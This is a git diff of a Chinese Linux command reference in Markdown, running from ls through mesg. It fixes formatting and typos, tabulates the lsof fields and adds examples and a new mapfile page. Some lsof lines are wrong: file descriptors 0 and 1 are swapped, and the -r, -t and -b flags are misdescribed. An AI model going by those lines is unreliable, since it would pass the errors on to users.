;什么也没有则表示普通文件。 + +-G, --no-group + # 以长格式列目录时不显示组信息。 + +-I, --ignorepattern + # 除非在命令行中给定,不要列出匹配shell文件名匹配式(pattern ,不是指一般 + # 表达式)的文件。在shell中,文件名以"."起始的不与在文件名匹配式(pattern) + # 开头的通配符匹配。 + +-L, --dereference + # 列出符号链接指向的文件的信息,而不是符号链接本身。 + +-N, --literal + # 不要用引号引起文件名。 + +-Q, --quote-name + # 用双引号引起文件名,非打印字符以 C 语言的方法表示。 + +-R, --recursive + # 递归列出全部目录的内容。 + +-S, --sort=size + # 按文件大小而不是字典序排序目录内容,大文件靠前。 + +-T, --tabsize cols + # 假定每个制表符宽度是 cols 。缺省为 8。为求效率, ls 可能在输出中使用制表符。 若 cols 为 + 0,则不使用制表符。 + +-U, --sort=none + # 不排序目录内容;按它们在磁盘上存储的顺序列出。(选项“-U”和“-f”的不 + # 同是前者不启动或禁止相关的选项。)这在列很大的目录时特别有用,因为不加排序 + # 能显著地加快速度。 + +-X, --sort=extension + # 按文件扩展名(由最后的 "." 之后的字符组成)的字典序排序。没有扩展名的先列 出。 + +--color[=when] + # 指定是否使用颜色区别文件类别。环境变量 LS_COLORS 指定使用的颜色。如何设置 这个变量见 dir‐ + # colors(1) 。 when 可以被省略,或是以下几项之一: +none # 不使用颜色,这是缺省项。 + # auto 仅当标准输出是终端时使用。 always 总是使用颜色。指定 --color 而且省略 when 时就等同于 + # --color=always 。 + +--full-time + # 列出完整的时间,而不是使用标准的缩写。格式如同 date(1) 的缺省格式;此格式 + # 是不能改变的,但是你可以用 cut(1) 取出其中的日期字串并将结果送至命令 “ date -d ”。 + +# 输出的时间包括秒是非常有用的。( Unix 文件系统储存文件的时间信息精确到秒, + # 因此这个选项已经给出了系统所知的全部信息。)例如,当你有一个 Makefile 文件 + # 不能恰当地生成文件时,这个选项会提供帮助。 ``` -### 参数 +### 参数 目录:指定要显示列表的目录,也可以是具体的文件。 -### 实例 +### 实例 ```shell $ ls # 仅列出当前目录可见文件 $ ls -l # 列出当前目录可见文件详细信息 $ ls -hl # 列出详细信息并以可读大小显示文件大小 $ ls -al # 列出所有文件(包括隐藏)的详细信息 +$ ls --human-readable --size -1 -S --classify # 按文件大小排序 +$ du -sh * | sort -h # 按文件大小排序(同上) ``` -显示当前目录下包括影藏文件在内的所有文件列表 +显示当前目录下包括隐藏文件在内的所有文件列表 ```shell [root@localhost ~]# ls -a @@ -356,5 +413,17 @@ auto/ CHANGES CHANGES.ru conf/ configure* contrib/ html/ LICENSE Makefil auto CHANGES CHANGES.ru conf configure contrib html LICENSE Makefile man objs README src ``` +## 扩展知识 + +### 不同颜色代表的文件类型 + +* `蓝色`:目录 +* `绿色`:可执行文件 +* `白色`:一般性文件,如文本文件,配置文件等 +* `红色`:压缩文件或归档文件 +* `浅蓝色`:链接文件 +* 红色闪烁:链接文件存在问题 +* 黄色:设备文件 +* 青黄色:管道文件 + - diff --git a/command/lsattr.md b/command/lsattr.md index f625787f071..68745d01708 100644 --- a/command/lsattr.md +++ b/command/lsattr.md @@ -7,13 +7,13 @@ lsattr **lsattr命令** 用于查看文件的第二扩展文件系统属性。 -### 语法 +### 语法 ```shell lsattr(选项)(参数) ``` -### 选项 +### 选项 ```shell -E:可显示设备属性的当前值,但这个当前值是从用户设备数据库中获得的,而不是从设备直接获得的。 @@ -25,11 +25,11 @@ lsattr(选项)(参数) lsattr经常使用的几个选项-D,-E,-R这三个选项不可以一起使用,它们是互斥的,经常使用的还有-l,-H,使用lsattr时,必须指出具体的设备名,用-l选项指出要显示设备的逻辑名称,否则要用-c,-s,-t等选项唯一的确定某个已存在的设备。 -### 参数 +### 参数 文件:指定显示文件系统属性的文件名。 -### 实例 +### 实例 ```shell lsattr -E -l rmt0 -H @@ -37,4 +37,3 @@ lsattr -EO -l rmt0 ``` - \ No newline at end of file diff --git a/command/lsb_release.md b/command/lsb_release.md index 00bef7a454c..f7d36edccc8 100644 --- a/command/lsb_release.md +++ b/command/lsb_release.md @@ -30,4 +30,3 @@ redhat和fedora系统中,还支持一个参数: ``` - \ No newline at end of file diff --git a/command/lsblk.md b/command/lsblk.md index b7b2b5cadd2..934dd5dab63 100644 --- a/command/lsblk.md +++ b/command/lsblk.md @@ -7,7 +7,7 @@ lsblk **lsblk命令** 用于列出所有可用块设备的信息,而且还能显示他们之间的依赖关系,但是它不会列出RAM盘的信息。块设备有硬盘,闪存盘,cd-ROM等等。lsblk命令包含在util-linux-ng包中,现在该包改名为util-linux。这个包带了几个其它工具,如dmesg。要安装lsblk,请在此处下载util-linux包。Fedora用户可以通过命令`sudo yum install util-linux-ng`来安装该包。 -### 选项 +### 选项 ```shell -a, --all # 显示所有设备。 @@ -27,7 +27,7 @@ lsblk -t, --topology # 显示拓扑结构信息。 ``` -### 实例 +### 实例 lsblk命令默认情况下将以树状列出所有块设备。打开终端,并输入以下命令: @@ -96,4 +96,3 @@ lsblk -s ``` - \ No newline at end of file diff --git a/command/lscpu.md b/command/lscpu.md index 66715329df0..d6549c7c798 100644 --- a/command/lscpu.md +++ b/command/lscpu.md @@ -7,13 +7,13 @@ lscpu **lscpu命令** 是显示有关CPU架构的信息。 -### 语法 +### 语法 ```shell lscpu [选项] ``` -### 选项 +### 选项 ```shell -a, --all # 打印在线和离线CPU(默认为-e) @@ -28,7 +28,7 @@ lscpu [选项] -V, --version # 输出版本信息并退出 ``` -### 参数 +### 参数 ```shell 可用列: @@ -71,5 +71,17 @@ L2 cache: 256K L3 cache: 8192K NUMA node0 CPU(s): 0-3 ``` +```shell +# 查看cpu编号对应的核心号码,区分是大核还是小核。 +[root@localhost ~]# lscpu -e +CPU NODE SOCKET CORE L1d:L1i:L2:L3 ONLINE MAXMHZ MINMHZ +0 0 0 0 0:0:0:0 是 3600.0000 800.0000 +1 0 0 1 1:1:1:0 是 3600.0000 800.0000 +2 0 0 2 2:2:2:0 是 3600.0000 800.0000 +3 0 0 3 3:3:3:0 是 3600.0000 800.0000 +4 0 0 0 0:0:0:0 是 3600.0000 800.0000 +5 0 0 1 1:1:1:0 是 3600.0000 800.0000 +6 0 0 2 2:2:2:0 是 3600.0000 800.0000 +7 0 0 3 3:3:3:0 是 3600.0000 800.0000 +``` - diff --git a/command/lsmod.md b/command/lsmod.md index 417c1ff6829..ed9ebd64ec3 100644 --- a/command/lsmod.md +++ b/command/lsmod.md @@ -7,13 +7,13 @@ lsmod **lsmod命令** 用于显示已经加载到内核中的模块的状态信息。执行lsmod命令后会列出所有已载入系统的模块。Linux操作系统的核心具有模块化的特性,应此在编译核心时,务须把全部的功能都放入核心。您可以将这些功能编译成一个个单独的模块,待需要时再分别载入。 -### 语法 +### 语法 ```shell lsmod ``` -### 实例 +### 实例 ```shell [root@LinServ-1 ~]# lsmod @@ -100,4 +100,3 @@ ehci_hcd 34509 0 通常在使用lsmod命令时,都会采用类似`lsmod | grep -i ext3`这样的命令来查询当前系统是否加载了某些模块。 - \ No newline at end of file diff --git a/command/lsof.md b/command/lsof.md index 67fb63b14c7..59ca84d9c2d 100644 --- a/command/lsof.md +++ b/command/lsof.md @@ -12,7 +12,7 @@ lsof ### 语法 ```shell -lsof(选项) +lsof (选项) ``` ### 选项 @@ -25,11 +25,11 @@ lsof(选项) +d<目录>:列出目录下被打开的文件; +D<目录>:递归列出目录下被打开的文件; -n<目录>:列出使用NFS的文件; --i<条件>:列出符合条件的进程。(4、6、协议、:端口、 @ip ) +-i<条件>:列出符合条件的进程(协议、:端口、 @ip ) -p<进程号>:列出指定进程号所打开的文件; -u:列出UID号进程详情; -h:显示帮助信息; --v:显示版本信息。 +-v:显示版本信息 ``` ### 实例 @@ -64,68 +64,80 @@ events/0 6 root txt unknown /proc events/1 7 root cwd DIR 8,2 4096 2 / ``` - **lsof输出各列信息的意义如下:** +**lsof输出各列信息的意义如下:** -* COMMAND:进程的名称 -* PID:进程标识符 -* PPID:父进程标识符(需要指定-R参数) -* USER:进程所有者 -* PGID:进程所属组 -* FD:文件描述符,应用程序通过文件描述符识别该文件。 +标识 | 说明 +:- | :- +`COMMAND` | 进程的名称 +`PID` | 进程标识符 +`PPID` | 父进程标识符(需要指定-R参数) +`USER` | 进程所有者 +`PGID` | 进程所属组 +`FD` | 文件描述符,应用程序通过它识别该文件 文件描述符列表: -1. cwd:表示current work dirctory,即:应用程序的当前工作目录,这是该应用程序启动的目录,除非它本身对这个目录进行更改 -2. txt:该类型的文件是程序代码,如应用程序二进制文件本身或共享库,如上列表中显示的 /sbin/init 程序 -3. lnn:library references (AIX); -4. er:FD information error (see NAME column); -5. jld:jail directory (FreeBSD); -6. ltx:shared library text (code and data); -7. mxx :hex memory-mapped type number xx. -8. m86:DOS Merge mapped file; -9. mem:memory-mapped file; -10. mmap:memory-mapped device; -11. pd:parent directory; -12. rtd:root directory; -13. tr:kernel trace file (OpenBSD); -14. v86  VP/ix mapped file; -15. 0:表示标准输出 -16. 1:表示标准输入 -17. 2:表示标准错误 +标识 | 说明 +:- | :- +`cwd` | 表示当前工作目录,即:应用程序的当前工作目录,这是该应用程序启动的目录,除非它本身对这个目录进行更改 +`txt` | 该类型的文件是程序代码,如应用程序二进制文件本身或共享库,如上列表中显示的 /sbin/init 程序 +`lnn` | 库引用 (AIX); +`er` | FD 信息错误(参见名称栏) +`jld` | jail 目录 (FreeBSD); +`ltx` | 共享库文本(代码和数据) +`mxx` | 十六进制内存映射类型编号xx +`m86` | DOS合并映射文件 +`mem` | 内存映射文件 +`mmap` | 内存映射设备 +`pd` | 父目录 +`rtd` | 根目录 +`tr` | 内核跟踪文件 (OpenBSD) +`v86` | VP/ix 映射文件 +`0` | 表示标准输出 +`1` | 表示标准输入 +`2` | 表示标准错误 一般在标准输出、标准错误、标准输入后还跟着文件状态模式: -1. u:表示该文件被打开并处于读取/写入模式。 -2. r:表示该文件被打开并处于只读模式。 -3. w:表示该文件被打开并处于。 -4. 空格:表示该文件的状态模式为unknow,且没有锁定。 -5. -:表示该文件的状态模式为unknow,且被锁定。 +标识 | 说明 +:- | :- +`u` | 表示该文件被打开并处于读取/写入模式 +`r` | 表示该文件被打开并处于只读模式 +`w` | 表示该文件被打开并处于写入模式 +`空格` | 表示该文件的状态模式为 unknow,且没有锁定 +`-` | 表示该文件的状态模式为 unknow,且被锁定 同时在文件状态模式后面,还跟着相关的锁: -1. N:for a Solaris NFS lock of unknown type; -2. r:for read lock on part of the file; -3. R:for a read lock on the entire file; -4. w:for a write lock on part of the file;(文件的部分写锁) -5. W:for a write lock on the entire file;(整个文件的写锁) -6. u:for a read and write lock of any length; -7. U:for a lock of unknown type; -8. x:for an SCO OpenServer Xenix lock on part      of the file; -9. X:for an SCO OpenServer Xenix lock on the      entire file; -10. space:if there is no lock. - -文件类型: - -1. DIR:表示目录。 -2. CHR:表示字符类型。 -3. BLK:块设备类型。 -4. UNIX: UNIX 域套接字。 -5. FIFO:先进先出 (FIFO) 队列。 -6. IPv4:网际协议 (IP) 套接字。 -7. DEVICE:指定磁盘的名称 -8. SIZE:文件的大小 -9. NODE:索引节点(文件在磁盘上的标识) -10. NAME:打开文件的确切名称 +标识 | 说明 +:- | :- +`N` | 对于未知类型的Solaris NFS锁 +`r` | 用于部分文件的读取锁定 +`R` | 对整个文件进行读取锁定 +`w` | 对文件的一部分进行写锁定(文件的部分写锁) +`W` | 对整个文件进行写锁定(整个文件的写锁) +`u` | 用于任何长度的读写锁 +`U` | 对于未知类型的锁 +`x` | 对于文件部分的SCO OpenServer Xenix锁 +`X` | 对于整个文件的SCO OpenServer Xenix锁 +`space` | 如果没有锁 + + +**文件类型** + +标识 | 说明 +:- | :- +`DIR` | 表示目录 +`CHR` | 表示字符类型 +`BLK` | 块设备类型 +`UNIX` | UNIX 域套接字 +`FIFO` | 先进先出 (FIFO) 队列 +`IPv4` | 网际协议 (IP) 套接字 +`DEVICE` | 指定磁盘的名称 +`SIZE` | 文件的大小 +`NODE` | 索引节点(文件在磁盘上的标识) +`NAME` | 打开文件的确切名称 +`REG` | 常规文件 列出指定进程号所打开的文件: @@ -139,4 +151,105 @@ lsof -p $pid lsof -i:9981 -P -t -sTCP:LISTEN ``` - +列出打开文件的进程: + +```shell +lsof $filename +``` + +查看端口占用 +```shell +lsof -i:$port +``` + +**查看所有打开的文件:** + +``` +lsof +``` + +**查看指定进程打开的文件:** + +``` +lsof -p +``` + +**查看指定用户打开的文件:** + +``` +lsof -u +``` + +**查看指定文件名相关的进程:** + +``` +lsof +``` + +**查看网络连接相关的进程:** + +``` +lsof -i +``` + +**查看指定端口相关的进程:** + +``` +lsof -i : +``` + +**查看正在使用某个目录的进程:** + +``` +lsof +D /path/to/directory +``` + +**查看被删除但仍然被某个进程打开的文件:** + +``` +lsof -u +L1 +``` + +**查看某个文件系统上被打开的文件:** + +``` +lsof /mountpoint +``` + +**以列表形式显示结果:** + +``` +lsof -F +``` + +**显示结果中不包含主机名:** + +``` +lsof -n +``` + +**显示结果中不包含进程路径:** + +``` +lsof -b +``` + +**以逆序显示结果:** + +``` +lsof -r +``` + +**以特定间隔时间循环显示结果:** + +``` +lsof -r +``` + +**以持续模式显示结果:** + +``` +lsof -t +``` + + diff --git a/command/lspci.md b/command/lspci.md index 15542de250a..e1fe2745bd6 100644 --- a/command/lspci.md +++ b/command/lspci.md @@ -7,13 +7,13 @@ lspci **lspci命令** 用于显示当前主机的所有PCI总线信息,以及所有已连接的PCI设备信息。 -### 语法 +### 语法 ```shell lspci(选项) ``` -### 选项 +### 选项 ```shell -n:以数字方式显示PCI厂商和设备代码; @@ -25,7 +25,7 @@ lspci(选项) -m:以机器可读方式显示PCI设备信息。 ``` -### 实例 +### 实例 ```shell [root@localhost ~]# lspci @@ -77,4 +77,3 @@ lspci(选项) ``` - \ No newline at end of file diff --git a/command/lsusb.md b/command/lsusb.md index 5d8f4535fd8..a3bdbc9e9fe 100644 --- a/command/lsusb.md +++ b/command/lsusb.md @@ -9,13 +9,13 @@ lsusb lsusb命令是一个学习USB驱动开发,认识USB设备的助手,推荐大家使用,如果您的开发板中或者产品中没有lsusb命令可以自己移植一个,放到文件系统里面。 -### 语法 +### 语法 ```shell lsusb(选项) ``` -### 选项 +### 选项 ```shell -v:显示USB设备的详细信息; @@ -25,7 +25,7 @@ lsusb(选项) -V:显示命令的版本信息。 ``` -### 实例 +### 实例 插入usb鼠标后执行lsusb的输出内容如下: @@ -72,4 +72,3 @@ Bus 002 Device 001: ID 0000:0000** * 一个是usb鼠标  -- 006 - \ No newline at end of file diff --git a/command/ltrace.md b/command/ltrace.md index ab2f14e4892..8be8fc41ca4 100644 --- a/command/ltrace.md +++ b/command/ltrace.md @@ -7,13 +7,13 @@ ltrace **ltrace命令** 是用来跟踪进程调用库函数的情况。 -### 语法 +### 语法 ```shell ltrace [option ...] [command [arg ...]] ``` -### 选项 +### 选项 ```shell -a 对齐具体某个列的返回值。 @@ -39,7 +39,7 @@ ltrace [option ...] [command [arg ...]] -x NAME treat the global NAME like a library subroutine.(求翻译) ``` -### 实例 +### 实例 最基本应用,不带任何参数: @@ -85,4 +85,3 @@ SYS_mmap2(0x424000, 4096, 3, 2066, 3) = 0x424000 ``` - \ No newline at end of file diff --git a/command/lvcreate.md b/command/lvcreate.md index 2bb8185e09a..71c5cb5ef76 100644 --- a/command/lvcreate.md +++ b/command/lvcreate.md @@ -7,29 +7,30 @@ lvcreate **lvcreate命令** 用于创建LVM的逻辑卷。逻辑卷是创建在卷组之上的。逻辑卷对应的设备文件保存在卷组目录下,例如:在卷组"vg1000"上创建一个逻辑卷"lvol0",则此逻辑卷对应的设备文件为"/dev/vg1000/lvol0"。 -### 语法 +### 语法 ```shell lvcreate(选项)(参数) ``` -### 选项 +### 选项 ```shell +-n: 指定逻辑卷的名称 -L:指定逻辑卷的大小,单位为“kKmMgGtT”字节; -l:指定逻辑卷的大小(LE数)。 ``` -### 参数 +### 参数 逻辑卷:指定要创建的逻辑卷名称。 -### 实例 +### 实例 使用lvcreate命令在卷组"vg1000"上创建一个200MB的逻辑卷。在命令行中输入下面的命令: ```shell -[root@localhost ~]# lvcreate -L 200M vg1000 #创建大小为200M的逻辑卷 +[root@localhost ~]# lvcreate -L 200M -n lvol0 vg1000 #创建大小为200M的逻辑卷 ``` 输出信息如下: @@ -41,4 +42,3 @@ Logical volume "lvol0" created 说明:创建成功后,新的逻辑卷"lvol0",将通过设备文件`/dev/vg1000/lvol0`进行访问。 - \ No newline at end of file diff --git a/command/lvdisplay.md b/command/lvdisplay.md index 3322e19ff51..f5719481614 100644 --- a/command/lvdisplay.md +++ b/command/lvdisplay.md @@ -7,17 +7,17 @@ lvdisplay **lvdisplay命令** 用于显示LVM逻辑卷空间大小、读写状态和快照信息等属性。如果省略"逻辑卷"参数,则lvdisplay命令显示所有的逻辑卷属性。否则,仅显示指定的逻辑卷属性。 -### 语法 +### 语法 ```shell lvdisplay(参数) ``` -### 参数 +### 参数 逻辑卷:指定要显示属性的逻辑卷对应的设备文件。 -### 实例 +### 实例 使用lvdisplay命令显示指定逻辑卷的属性。在命令行中输入下面的命令: @@ -35,4 +35,3 @@ lvdisplay(参数) ``` - \ No newline at end of file diff --git a/command/lvextend.md b/command/lvextend.md index bd280b1410d..19043b19994 100644 --- a/command/lvextend.md +++ b/command/lvextend.md @@ -7,24 +7,24 @@ lvextend **lvextend命令** 用于在线扩展逻辑卷的空间大小,而不中断应用程序对逻辑卷的访问。使用lvextend命令动态在线扩展磁盘空间,整个空间扩展过程对于应用程序来说是完全透明的。 -### 语法 +### 语法 ```shell lvextend(选项)(参数) ``` -### 选项 +### 选项 ```shell -L:指定逻辑卷的大小,单位为“kKmMgGtT”字节; -l:指定逻辑卷的大小(LE数)。 ``` -### 参数 +### 参数 逻辑卷:指定要扩展空间的逻辑卷。 -### 实例 +### 实例 使用lvextend命令为逻辑卷`/dev/vg1000/lvol0`增加100M空间。在命令行中输入下面的命令: @@ -40,4 +40,3 @@ Logical volume lvol0 successfully resized ``` - \ No newline at end of file diff --git a/command/lvreduce.md b/command/lvreduce.md index e44f6bdf73e..98d13f597d4 100644 --- a/command/lvreduce.md +++ b/command/lvreduce.md @@ -7,24 +7,24 @@ lvreduce **lvreduce命令** 用于减少LVM逻辑卷占用的空间大小。使用lvreduce命令收缩逻辑卷的空间大小有可能会删除逻辑卷上已有的数据,所以在操作前必须进行确认。 -### 语法 +### 语法 ```shell lvreduce(选项)(参数) ``` -### 选项 +### 选项 ```shell -L:指定逻辑卷的大小,单位为“kKmMgGtT”字节; -l:指定逻辑卷的大小(LE数)。 ``` -### 参数 +### 参数 逻辑卷:指定要操作的逻辑卷对应的设备文件。 -### 实例 +### 实例 使用lvreduce命令减少指定的逻辑卷的空间大小。在命令行中输入下面的命令: @@ -42,4 +42,3 @@ Do you really want to reduce lvol0? [y/n]: y #确认操作 ``` - \ No newline at end of file diff --git a/command/lvremove.md b/command/lvremove.md index 6475f8de712..3bce482d1b4 100644 --- a/command/lvremove.md +++ b/command/lvremove.md @@ -7,23 +7,23 @@ lvremove **lvremove命令** 用于删除指定LVM逻辑卷。如果逻辑卷已经使用mount命令加载,则不能使用lvremove命令删除。必须使用umount命令卸载后,逻辑卷方可被删除。 -### 语法 +### 语法 ```shell lvremove(选项)(参数) ``` -### 选项 +### 选项 ```shell -f:强制删除。 ``` -### 参数 +### 参数 逻辑卷:指定要删除的逻辑卷。 -### 实例 +### 实例 使用lvremove命令删除指定的逻辑卷。在命令行中输入下面的命令: @@ -40,4 +40,3 @@ volume "lvol0"? [y/n]: y #确认删除 ``` - \ No newline at end of file diff --git a/command/lvresize.md b/command/lvresize.md index 9933f07cf4b..85f00560dea 100644 --- a/command/lvresize.md +++ b/command/lvresize.md @@ -7,24 +7,24 @@ lvresize **lvresize命令** 用于调整LVM逻辑卷的空间大小,可以增大空间和缩小空间。使用lvresize命令调整逻辑卷空间大小和缩小空间时需要谨慎,因为它有可能导致数据丢失。 -### 语法 +### 语法 ```shell lvresize(选项)(参数) ``` -### 选项 +### 选项 ```shell -L:指定逻辑卷的大小,单位为“kKmMgGtT”字节; -l:指定逻辑卷的大小(LE数)。 ``` -### 参数 +### 参数 逻辑卷:指定要删除的逻辑卷。 -### 实例 +### 实例 使用lvresize命令调整最大的逻辑卷大小。在命令行中输入下面的命令: @@ -40,4 +40,3 @@ Logical volume lvol0 successfully resized ``` - \ No newline at end of file diff --git a/command/lvscan.md b/command/lvscan.md index eb7f11d3545..8020bcbecc7 100644 --- a/command/lvscan.md +++ b/command/lvscan.md @@ -7,19 +7,19 @@ lvscan **lvscan命令** 用于扫描当前系统中存在的所有的LVM逻辑卷。使用lvscan指令可以发现系统中的所有逻辑卷,及其对应的设备文件。 -### 语法 +### 语法 ```shell lvscan(选项) ``` -### 选项 +### 选项 ```shell -b:显示逻辑卷的主设备和次设备号。 ``` -### 实例 +### 实例 使用lvscan命令扫描系统中的所有逻辑卷。在命令行中输入下面的命令: @@ -34,4 +34,3 @@ ACTIVE '/dev/vg1000/lvol0' [200.00 MB] inherit ``` - \ No newline at end of file diff --git a/command/lynx.md b/command/lynx.md index d01e97109d7..453839f0890 100644 --- a/command/lynx.md +++ b/command/lynx.md @@ -7,13 +7,13 @@ lynx **lynx命令** 是纯文本模式的网页浏览器,不支持图形、音视频等多媒体信息。 -### 语法 +### 语法 ```shell lynx(选项)(参数) ``` -### 选项 +### 选项 ```shell -case:在搜索字符串时,区分大小写; @@ -26,7 +26,7 @@ lynx(选项)(参数) --versiom:显示指令的版本信息。 ``` -### 参数 +### 参数 URL:指定要访问的网站的URL地址。 @@ -113,4 +113,3 @@ Ctrl+k:调用 Cookie Jar 页。 ``` - \ No newline at end of file diff --git a/command/mail.md b/command/mail.md index f32dd56b1f7..33abae88f7a 100644 --- a/command/mail.md +++ b/command/mail.md @@ -7,13 +7,13 @@ mail **mail命令** 是命令行的电子邮件发送和接收工具。操作的界面不像elm或pine那么容易使用,但功能非常完整。 -### 语法 +### 语法 ```shell mail(选项)(参数) ``` -### 选项 +### 选项 ```shell -b<地址>:指定密件副本的收信人地址; @@ -28,11 +28,11 @@ mail(选项)(参数) -v:执行时,显示详细的信息。 ``` -### 参数 +### 参数 邮件地址:收信人的电子邮箱地址。 -### 实例 +### 实例 **直接使用shell当编辑器** @@ -87,4 +87,3 @@ uuencode test.txt test | mail -s "hello,see the attachement" admin@jsdig.com \ No newline at end of file diff --git a/command/mailq.md b/command/mailq.md index 942d02f738e..98a5ac58fe1 100644 --- a/command/mailq.md +++ b/command/mailq.md @@ -7,19 +7,19 @@ mailq **mailq命令** 用户显示待发送的邮件队列,显示的每一个条目包括邮件队列id、邮件大小、加入队列时间、邮件发送者和接受者。如果邮件最后一次尝试后还没有将邮件投递出去,则显示发送失败的原因。 -### 语法 +### 语法 ```shell mailq(选项) ``` -### 选项 +### 选项 ```shell -v:显示详细的信息。 ``` -### 实例 +### 实例 ```shell [root@localhost ~]# mailq -v @@ -28,4 +28,3 @@ mailq(选项) ``` - \ No newline at end of file diff --git a/command/mailstat.md b/command/mailstat.md index 139106945fa..fd193ce0033 100644 --- a/command/mailstat.md +++ b/command/mailstat.md @@ -7,13 +7,13 @@ mailstat **mailstat命令** 用来显示到达的邮件状态。 -### 语法 +### 语法 ```shell mailstat(选项)(参数) ``` -### 选项 +### 选项 ```shell -k:保持邮件日志文件的完整性,不清空日志文件; @@ -24,9 +24,8 @@ mailstat(选项)(参数) -s:如果没有邮件则不输出任何信息。 ``` -### 参数 +### 参数 邮件日志文件:指定要读取邮件日志文件。 - \ No newline at end of file diff --git a/command/make.md b/command/make.md index 55926e1d426..a36646ff805 100644 --- a/command/make.md +++ b/command/make.md @@ -5,15 +5,15 @@ GNU的工程化编译工具 ## 补充说明 -**make命令** 是GNU的工程化编译工具,用于编译众多相互关联的源代码问价,以实现工程化的管理,提高开发效率。 +**make命令** 是GNU的工程化编译工具,用于编译众多相互关联的源代码文件,以实现工程化的管理,提高开发效率。 -### 语法 +### 语法 ```shell make(选项)(参数) ``` -### 选项 +### 选项 ```shell -f:指定“makefile”文件; @@ -36,11 +36,11 @@ Linux下常用选项与Unix系统中稍有不同,下面是不同的部分: -w:在处理 makefile 之前和之后,都显示工作目录。 ``` -### 参数 +### 参数 目标:指定编译目标。 -### 知识扩展 +### 知识扩展 无论是在linux 还是在Unix环境 中,make都是一个非常重要的编译命令。不管是自己进行项目开发还是安装应用软件,我们都经常要用到make或make install。利用make工具,我们可以将大型的开发项目分解成为多个更易于管理的模块,对于一个包括几百个源文件的应用程序,使用make和 makefile工具就可以简洁明快地理顺各个源文件之间纷繁复杂的相互关系。 @@ -49,4 +49,4 @@ Linux下常用选项与Unix系统中稍有不同,下面是不同的部分: 因此,有效的利用make和 makefile工具可以大大提高项目开发的效率。同时掌握make和makefile之后,您也不会再面对着Linux下的应用软件手足无措了。 - \ No newline at end of file + diff --git a/command/man.md b/command/man.md index 7561e7ad985..1508077ece6 100644 --- a/command/man.md +++ b/command/man.md @@ -7,13 +7,13 @@ man **man命令** 是Linux下的帮助指令,通过man指令可以查看Linux中的指令帮助、配置文件帮助和编程帮助等信息。 -### 语法 +### 语法 ```shell man(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:在所有的man帮助手册中搜索; @@ -22,7 +22,7 @@ man(选项)(参数) -M:指定man手册搜索的路径。 ``` -### 参数 +### 参数 * 数字:指定从哪本man手册中搜索帮助; * 关键字:指定要搜索帮助的关键字。 @@ -41,7 +41,7 @@ man(选项)(参数) 9:跟kernel有关的文件 ``` -### 实例 +### 实例 我们输入`man ls`,它会在最左上角显示“LS(1)”,在这里,“LS”表示手册名称,而“(1)”表示该手册位于第一节章,同样,我们输`man ifconfig`它会在最左上角显示“IFCONFIG(8)”。也可以这样输入命令:“man [章节号] 手册名称”。 @@ -57,7 +57,14 @@ man sleep man 3 sleep ``` +### 相关命令 + +* `tldr`: 简化版的使用手册,并不会像man一样把所有的使用参数和说明都列出来,而是只显示常用的几个使用Sample和说明 + * 开源地址: [https://github.com/tldr-pages/tldr/](https://github.com/tldr-pages/tldr/) + * 官网: [https://tldr.sh/](https://tldr.sh/) + * 在线版本: [https://tldr.ostera.io/](https://tldr.ostera.io/) + + - diff --git a/command/mapfile.md b/command/mapfile.md new file mode 100644 index 00000000000..27007015b5f --- /dev/null +++ b/command/mapfile.md @@ -0,0 +1,84 @@ +mapfile +=== + +从标准输入读取行并赋值到数组。 + +## 概要 + +```shell +mapfile [-d delim] [-n count] [-O origin] [-s count] [-t] [-u fd] [-C callback] [-c quantum] [array] +``` + +## 主要用途 + +- 从标准输入或文件描述符读取行并赋值到数组。 + + +## 选项 + +```shell +-d delim 将delim设为行分隔符,代替默认的换行符。 +-n count 从标准输入中获取最多count行,如果count为零那么获取全部。 +-O origin 从数组下标为origin的位置开始赋值,默认的下标为0。 +-s count 跳过对前count行的读取。 +-t 读取时移除行分隔符delim(默认为换行符)。 +-u fd 从文件描述符fd中读取。 +-C callback 每当读取了quantum行时,调用callback语句。 +-c quantum 设定读取的行数为quantum。 + +如果使用-C时没有同时使用-c指定quantum的值,那么quantum默认为5000。 +当callback语句执行时,将数组下一个要赋值的下标以及读取的行作为额外的参数传递给callback语句。 +如果使用-O时没有提供起始位置,那么mapfile会在实际赋值之前清空该数组。 +``` + +## 参数 + +array(可选):用于输出的数组名称。如果没有指定数组名称,那么会默认写入到变量名为MAPFILE的数组中。 + +## 返回值 + +返回成功除非使用了非法选项、指定的数组是只读的、指定的数组不是下标数组。 + +## 例子 + +```shell +# 常见的读取形式。 +mapfile < source_file target_array +cat source_file |mapfile target_array +mapfile -u fd target_array + +# 只读取前5行。 +mapfile < source_file -n 5 target_array + +# 跳过前5行。 +mapfile < source_file -s 5 target_array + +# 在数组指定的下标开始赋值。 +# 请注意:这样做不会清空该数组。 +mapfile < source_file -O 2 target_array + +# 读取时设定行分隔符为tab。 +# 注意,第二行的tab在终端需要用ctrl+v tab输入; +mapfile < source_file -d $'\t' target_array +mapfile < source_file -d ' ' target_array + +# 读取时移除行分隔符(tab)。 +mapfile < source_file -d $'\t' -t target_array +# 读取时移除行分隔符(换行符)。 +mapfile < source_file -t target_array + +# 每读取2行,执行一次语句(在这里是echo)。 +mapfile < source_file -C "echo CALLBACK:" -c 2 target_array + +# 遍历下标,依次显示数组的元素。 +for i in ${!target_array[@]}; do + printf "%s" ${target_array[i]} +done +``` + +### 注意 + +1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 +2. bash内建命令readarray是mapfile的同义词。 + + diff --git a/command/md5sum.md b/command/md5sum.md index b6503c47349..74af7746081 100644 --- a/command/md5sum.md +++ b/command/md5sum.md @@ -9,13 +9,13 @@ md5sum MD5算法常常被用来验证网络文件传输的完整性,防止文件被人篡改。MD5 全称是报文摘要算法(Message-Digest Algorithm 5),此算法对任意长度的信息逐位进行计算,产生一个二进制长度为128位(十六进制长度就是32位)的“指纹”(或称“报文摘要”),不同的文件产生相同的报文摘要的可能性是非常非常之小的。 -### 语法 +### 语法 ```shell md5sum(选项)(参数) ``` -### 选项 +### 选项 ```shell -b:二进制模式读取文件; @@ -25,7 +25,7 @@ md5sum(选项)(参数) -w:当校验不正确时给出警告信息。 ``` -### 参数 +### 参数 文件:指定保存着文件名和校验和的文本文件。 @@ -96,4 +96,4 @@ md5sum: testfile.md5: no properly formatted MD5 checksum lines found 这里,testfile.md5只有一行信息,但是我认为地给它多加了一个字符,导致非法。如果md5文件正常那么`-w`有没有都一样。 - + diff --git a/command/mesg.md b/command/mesg.md index 01dd70c595f..57b132c5c43 100644 --- a/command/mesg.md +++ b/command/mesg.md @@ -7,17 +7,17 @@ mesg **mesg命令** 